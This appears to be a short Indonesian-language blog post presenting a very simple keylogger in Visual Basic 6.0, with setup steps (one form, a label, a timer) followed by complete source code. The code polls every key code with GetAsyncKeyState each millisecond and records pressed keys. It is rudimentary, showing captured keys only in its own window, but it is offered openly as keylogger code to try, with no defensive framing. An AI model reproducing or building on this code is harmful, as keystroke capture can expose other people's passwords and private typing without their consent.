BaGi BaGi Catatan

Ini Merupakan salah satu contoh pembuat keylogger yang sangat sederhana. Ini merupakan simple code for make keylogger from visual basic 6.0

Oke langsung aja dicoba. Cekidot....


Bahan-bahan :

• Buka Visual Basic 6.0 . dan Pilih Standar.exe
• 1 Buah Form
• Sediakan 1 Label, 1 timer

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form_Load()

Timer1.Interval = 1

End Sub

Private Sub Timer1_Timer()

For i = 1 To 255

result = 0

result = GetAsyncKeyState(i)

If result = -32767 Then

Label1.Caption = Label1.Caption + Chr(i)

End If

Next i

End Sub